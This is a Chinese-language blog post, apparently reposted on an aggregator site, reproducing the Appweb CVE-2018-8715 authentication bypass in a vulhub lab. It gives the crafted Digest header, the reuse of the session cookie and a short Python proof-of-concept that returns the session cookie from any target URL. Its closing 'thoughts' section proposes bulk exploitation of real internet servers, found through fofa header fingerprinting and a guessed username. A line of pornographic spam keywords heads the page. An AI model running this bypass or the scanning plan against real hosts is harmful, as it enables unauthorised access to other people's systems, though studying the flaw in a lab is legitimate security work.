日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Appweb(CVE-2018-8715)漏洞复现与思考

發布時間:2024/6/3 编程问答 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Appweb(CVE-2018-8715)漏洞复现与思考 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

Appweb簡介

漏洞原理

漏洞影響范圍

漏洞復現

思考


Appweb簡介

Appweb是一個嵌入式HTTP Web服務器,主要的設計思路是安全。這是直接集成到客戶的應用和設備,便于開發和部署基于Web的應用程序和設備。它迅速( 每秒處理3500多要求)而緊湊 ,其中包括支持動態網頁制作,服務器端嵌入式腳本過程中的CGI ,可加載模塊的SSL ,摘要式身份驗證,虛擬主機, Apache樣式配置,日志記錄,單和多線程應用程序。它提供了大量的文檔和示例。

AppWeb是Embedthis Software LLC公司負責開發維護的一個基于GPL開源協議的嵌入式Web Server。他使用C/C++來編寫,能夠運行在幾乎先進所有流行的操作系統上。當然他最主要的應用場景還是為嵌入式設備提供Web Application容器。

AppWeb可以進行認證配置,其認證方式包括以下三種:

  • - basic 傳統HTTP基礎認證
  • - digest 改進版HTTP基礎認證,認證成功后將使用Cookie來保存狀態,而不用再傳遞Authorization頭
  • - form 表單認證

?

漏洞原理

其7.0.3之前的版本中,對于digest和form兩種認證方式,如果用戶傳入的密碼為`null`(也就是沒有傳遞密碼參數),appweb將因為一個邏輯錯誤導致直接認證成功,并返回session。

?

?

漏洞影響范圍

Appweb 7.0.2及早期版本。

?

?

漏洞復現

1、開啟docker vulhub靶場環境

?

2、訪問目標。

3、獲取用戶名,這個就顯現出此漏洞的局限性了。靶場里告訴了有一個賬戶是joshua

?

4、通過抓包軟件攔截,添加以下HTTP 頭信息后,發送數據包。

Authorization: Digest username=joshua

?

5、返回狀態碼為200后,獲取HTTP 頭信息中的session,如以下格式

-http-session-=1::http.session::20bf575fc03c1d60880ba53349b2f774

?

6、通過抓包軟件攔截,發送POST請求,添加session到HTTP 頭信息和用戶名后,發送數據包。如下圖所示

?

7、返回狀態碼為200,成功繞過身份驗證

?

?

思考

1、由于不知道服務器的Appweb的用戶名,因此不能批量利用。但我想著可以假設一個用戶名,然后就可以批量利用了。這樣的話,如何獲取更多裝有Appweb的服務器呢?這就是一個指紋的問題了,通過分析HTTP包,還是有所發現的。

?

看到HTTP頭里有一個“WWW-Authenticate:Digest.....”的內容

于是去fofa里找了一下,發現了大量服務器,看WWW-Authenticate內容差不多,但不確定是否真實存在的Appweb,也不知道Appweb的版本,但是這樣做至少把范圍縮小了,并且可以通過假定一個用戶名進行批量利用了。

?

2、如何寫POC;這個用python還是很好實現的。

  • import requests
  • import sys
  • print '''
  • Userage: python appweb.py http://192.168.0.11:8080/ joshua
  • '''
  • url = sys.argv[1]
  • user = sys.argv[2]
  • headers = {
  • 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36',
  • 'Authorization':'Digest username='+user
  • }
  • response = requests.post(url,headers=headers)
  • if(response.status_code == 200):
  • print response.headers['Set-Cookie']
  • else:
  • print "No Vul ,CVE-2018-8715!"
  • ?

    總結

    以上是生活随笔為你收集整理的Appweb(CVE-2018-8715)漏洞复现与思考的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。